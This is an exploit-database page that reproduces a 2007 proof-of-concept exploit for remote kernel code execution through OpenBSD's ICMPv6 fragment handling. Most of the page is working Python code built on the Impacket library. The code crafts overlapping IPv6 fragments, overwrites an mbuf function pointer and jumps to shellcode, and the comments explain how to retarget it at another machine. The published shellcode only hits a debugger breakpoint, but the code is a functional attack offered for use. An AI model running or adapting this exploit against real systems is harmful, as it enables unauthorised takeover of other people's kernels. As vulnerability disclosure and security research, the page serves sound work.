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OpenBSD - ICMPv6 Fragment Remote Execution Exploit PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

OpenBSD ICMPv6 Fragment Remote Execution Exploit Proof of Concept executed using Impacket library to send crafted packets. Requires systems supporting raw sockets and PF_PACKET family. Tested on "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30". Execute code to test custom machine, adjusting MACADDRESS and trampoline value, and ICMP checksum. Exploit stops on int 3, press "c" in ddb for kernel to continue normally

Code

                                                # The PoC executes the shellcode (int 3) and returns. It overwrites the 
# ext_free() function pointer on the mbuf and forces a m_freem() on the 
# overflowed packet. 
#
# The Impacket library is used to craft and send packets 
# (http://oss.coresecurity.com/projects/impacket.html or download from 
# Debian repositories) 
#
# Currently, only systems supporting raw sockets and the PF_PACKET family 
# can run the included proof-of-concept code. 
#
# Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 
# 30" 
#
# To use the code to test a custom machine you will need to: 1) Adjust the 
# MACADDRESS variable 2) Find the right trampoline value for your system 
# and replace it in the code. To find a proper trampoline value use the 
# following command: "objdump -d /bsd | grep esi | grep jmp" 3) Adjust the 
# ICMP checksum 
#
# The exploit should stop on an int 3 and pressing "c" in ddb the kernel 
# will continue normally. 
#
#
# Description:
#   OpenBSD ICMPv6 fragment remote execution PoC
#
# Author:
#   Alfredo Ortega
#   Mario Vilas
#
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved

from impacket import ImpactPacket
import struct
import socket
import time

class BSD_ICMPv6_Remote_BO:
    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
    def Run(self):
        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
        self.s.bind(('eth0',0x86dd))
        sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # source address
        destIP   = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # destination address Multicast Link-level 
        firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
	validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
	
	for i in range(100): # fill mbufs
        	self.sendpacket(firstFragment)
		self.sendpacket(validIcmp)
		time.sleep(0.01)
	for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable
        	self.sendpacket(secondFragment)
		time.sleep(0.1)
        	self.sendpacket(firstFragment)
		self.sendpacket(validIcmp)
		time.sleep(0.1)

    def sendpacket(self, data):
        ipe = ImpactPacket.Ethernet()
        ipe.set_ether_dhost(self.MACADDRESS)
        ipd = ImpactPacket.Data(data)
        ipd.ethertype = 0x86dd  # Ethertype for IPv6
        ipe.contains(ipd)
        p = ipe.get_packet()
        self.s.send(p)

    def buildOpenBSDPackets(self,sourceIP,destIP):
        HopByHopLenght= 1

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (00: Hop by Hop)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + More fragments: yes
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        IPv6HopByHopHeader  = ''
        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # next header (0x3A: ICMP)
        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # Hdr Ext Len (frutaaaaaaa :D )
        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # Options

        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
	print longitud
        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x00'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit

        IPv6Packet += sourceIP
        IPv6Packet += destIP

        firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)

	self.ShellCode =  ''
        self.ShellCode += '\xcc' # int 3
	self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xfb\x4e'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
	# Start of the next mfub (we land here):
	ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' 
	# mbuf+0x20:
	trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' 
        longitud = len(ICMPv6Packet)


	IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x2c'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (3A: icmpV6)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + More fragments:no
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet

        return firstFragment, secondFragment



    def buildValidICMPPacket(self,sourceIP,destIP):

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xcb\xc4'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
	ICMPv6Packet += 'T'*1232

        longitud = len(ICMPv6Packet)

        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x3A'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        icmpPacket = IPv6Packet+ICMPv6Packet

        return  icmpPacket

attack = BSD_ICMPv6_Remote_BO()
attack.Run()

# milw0rm.com [2007-03-15]

                              

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